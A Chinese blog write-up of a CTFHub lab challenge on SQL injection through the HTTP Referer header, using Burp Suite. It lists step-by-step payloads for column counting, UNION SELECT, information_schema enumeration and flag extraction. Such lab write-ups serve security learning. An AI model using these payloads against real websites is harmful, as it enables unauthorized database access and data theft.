CTFHub | Refer注入
创始人
2024-04-13 09:19:25
0次

 0x00 前言

        CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。

        

        

0x01 题目描述

Refer注入:

        (无)

网页显示内容

        
       

0x02 解题过程

        根据题目显示内容,此题和上一题一致,需要在 Refer 请求头中进行 SQL 注入。那么直接使用 burp suite 抓包工具抓取题目网站的信息,并将抓取到的数据发送给重放器。在 Refer 请求中使用 payload 进行测试,发现此题存在 Refer 注入。那么直接根据注入流程进行注入,最后发现此题 flag 存在于 ncdiyxjtck 数据中。
        

Ⅰ老规矩,直接使用burp suite抓包工具抓取题目网站的信息

        

Ⅱ这次为了方便查看,将抓取到的数据发送给重放器

        

Ⅲ发现抓到的信息中没有Refer请求,那么可以直接写入Refer请求进行测试

Referer: 1 and 1 = 1    #注意Refer请求写入信息名称为Referer

        

Ⅳ继续写入Referer请求中使用进行测试,发现此题存在Refer注入

Referer: 1 and 1 = 2

        

Ⅴ使用order by 判断字段数量,从order by 1开始

Referer: 1 order by 1

Ⅵ判断字段2,使用order by 2

Referer: 1 order by 2

Ⅶ判断字段3,使用order by 3,这里无回显,那么字段数量为2列

Referer: 1 order by 3

Ⅷ知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据

Referer: 1 union select 1,2

        

Ⅸ判断数据可能不存在数据库中,将1改为0查看数据,其他符号也可以

Referer: 0 union select 1,2

        

Ⅹ修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22

Referer: 0 union select 1,version()

        

ⅩⅠ修改2为database(),查看数据库名,发现数据库版本为sqli

Referer: 0 union select 1,database()

        

ⅩⅡ查看全部数据库名

Referer: 0 union select 1,group_concat(schema_name)from information_schema.schemata

        

ⅩⅢ在全部数据库名中发现sqli,最后在sqli数据库中发现cirdpxhnev和news两个表名

Referer: 0 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

        

ⅩⅣ先查看cirdpxhnev表中的全部字段名,发现一个数据名为ncdiyxjtck

Referer: 0 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='cirdpxhnev'

        

ⅩⅤ查看数据ncdiyxjtck中的内容,发现此题flag

Referer: 0 union select 1,group_concat(ncdiyxjtck) from sqli.cirdpxhnev

        

        

0x03 Refer 注入常见的问题

1.Refer 和 Referer

        需要注意的是,Refer 只是注入名称,而 Referer 是 header 的一部分,当浏览器向 web 服务器发送请求的时候,一般会带上 Referer ,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

2.重放 Referer 注入无回显

        有小伙伴私信我,为什么我使用 burp suite 工具进行重放的时候,页面没有正常回显。我第一次使用 burp suite 工具的重放器也犯过此类错误,就是写入一个请求时在其数据的空白行中写入数据。需要注意的是,这个空白行也算抓取到的数据。

例如,重放一个演示请求,数据为 error ,写入位置为抓取到的数据空白行中。重放发现页面没有正常回显。

 

那么在写入的数据后面加入一行空白行,重新执行重放,此时的页面可以正常回显。

         

        

0x04 参考文献

[1].mdn web docs. Referer[EB/OL]. [2022-11-26]. https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Referer.

[2].百度百科. HTTP_REFERER[EB/OL]. [2022-11-26]. https://baike.baidu.com/item/HTTP_REFERER/5358396.

[3].老司机开代码. Less19 (referer注入)[EB/OL]. [2022-11-26]. https://blog.csdn.net/weixin_43901998/article/details/107021685.

        

        

0x05 总结

文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。

相关内容

热门资讯

前端-session、jwt 目录:   (1)session (2&#x...
linux入门---制作进度条 了解缓冲区 我们首先来看看下面的操作: 我们首先创建了一个文件并在这个文件里面添加了...
关于测试,我发现了哪些新大陆 关于测试 平常也只是听说过一些关于测试的术语,但并没有使用过测试工具。偶然看到编程老师...
前缀和与对数器与二分法 1. 前缀和 假设有一个数组,我们想大量频繁的去访问L到R这个区间的和,...
nodejs:本地安装nvm实... 一、背景-使用不同版本node的原因 vue3+ts、nuxt3版本,node...
JAVA集合知识整理 Java集合知识整理 HashMap相关 HashMap的底层数据结构:jdk1.8之...
无刷直流电机介绍及单片机控制实... 无刷直流电机介绍及单片机控制实例前言基本概念优势与劣势使用寿命基本结构使用单片机控制实例电子调速器&...
fwdiary(2) dp2 1.传纸条  AcWing 275. 传纸条 - AcWing 走两条路,走一条最大的...
常用的DOS命令 常用的DOS命令 DOS(Disk Operating System,磁...
<C++> 类和对象(下) 1.const成员函数将const修饰的“成员函数”称之为const成员函数,cons...